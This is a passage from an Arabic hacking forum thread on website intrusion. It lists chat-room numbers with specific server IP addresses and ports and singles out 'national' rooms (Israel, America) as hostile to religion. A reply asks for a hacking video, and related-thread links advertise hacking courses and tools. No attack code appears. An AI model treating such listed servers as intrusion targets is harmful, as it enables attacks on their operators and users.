    روم رقم 381 174.37.230.196:9103
    حتى نصل روم 402 174.37.230.196:9124

    اما روم 403 الى اخر الرومات يختلف البورت لكن السيرفر ماتغير (السيرفر الخامس )

    رقم الروم 403 174.37.230.196:9003
    رقم الروم 404 174.37.230.196:9004
    رقم الروم 405 174.37.230.196:9005
    حتى نصل لروم 450 174.37.230.196:9050
    -------------------------------------------------------------------
    الغرف الوطنيه -
    ( طعن في الدين وسب الرسول صلى الله عليه وسلم - الله اكبر عليهم واستغفر الله العظيم ولاحول ولاقوة الابالله)
    روم اسرائيل
    السيرفر 174.36.114.123:843
    174.36.114.123:9076

    سيرفر 74.86.6.34:843
    روم امريكا 74.86.6.34:9057
    روم امريكا 1 74.86.6.34:9058
    روم امريكا 2 74.86.6.34:9059

    -----------------------------------

  10. #10

    افتراضي رد: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    سلام عليكم اخوي ممكن تنزل مقطع فديو كامل كيف اختراق المواقع كي اعرف كلهم يكتبون وتضيع وصير صعب

صفحة 1 من 4 123 ... الأخيرةالأخيرة

المواضيع المتشابهه

  1. اندكس اختراق اجهزة روعة ادخل وما راح تندم
    بواسطة Aaldwayma في المنتدى قسم المواضيع المخالفة والمكررة
    مشاركات: 6
    آخر مشاركة: 02-20-2012, 09:57 PM
  2. دورة لأختراق المواقع+الأدوات كاملة هنا ادخل وما راح تخسر شيئ
    بواسطة جندي اول للهكر في المنتدى اختراق المواقع والسيرفرات
    مشاركات: 47
    آخر مشاركة: 02-05-2012, 03:48 PM
  3. اندكس اختراق اجهزة روعة ادخل وما راح تندم
    بواسطة Aaldwayma في المنتدى أدوات اختراق الاجهزة والدمج والتشفير
    مشاركات: 15
    آخر مشاركة: 10-22-2011, 07:29 PM
  4. ادخل ولن تندم (أفضل المواقع الاسلامية)
    بواسطة real@hacker في المنتدى المنتدى إلاسلامي
    مشاركات: 0
    آخر مشاركة: 08-31-2010, 10:33 PM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •